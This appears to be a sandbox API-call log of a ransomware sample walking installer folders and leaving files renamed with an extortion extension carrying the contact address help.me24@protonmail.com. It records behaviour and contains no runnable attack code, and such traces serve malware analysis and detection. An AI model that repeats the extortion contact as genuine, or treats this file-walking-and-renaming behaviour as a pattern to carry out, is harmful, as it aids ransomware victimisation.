	[0070.556] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.557] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.557] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0070.557] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.557] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0070.557] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.557] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121690
	[0070.557] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.557] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35502444, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x356336ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.557] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x355286d0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x355286d0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.558] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.558] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.558] FindClose (in: hFindFile=0x3121690 | out: hFindFile=0x3121690) returned 1
	[0070.558] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.558] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0070.558] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.558] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121510
	[0070.618] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.618] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.618] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3565995e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3565995e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3565995e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.618] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.619] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.619] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.619] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0070.619] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.619] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0070.619] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.619] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121910
	[0070.619] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x357b0d72, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3578ac54, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3578ac54, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3578ac54, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.620] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0070.620] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.620] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0070.621] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.621] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31213d0
	[0070.621] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.621] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.621] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.621] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.621] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.621] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0070.622] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.622] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0070.622] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.622] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31217d0
	[0070.622] FindNextFileW (in: hFindFile=0x31217d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.622] FindNextFileW (in: hFindFile=0x31217d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.622] FindNextFileW (in: hFindFile=0x31217d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.622] FindNextFileW (in: hFindFile=0x31217d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.622] FindNextFileW (in: hFindFile=0x31217d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.623] FindClose (in: hFindFile=0x31217d0 | out: hFindFile=0x31217d0) returned 1
	[0070.623] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.623] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0070.623] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.623] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121690
	[0070.623] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
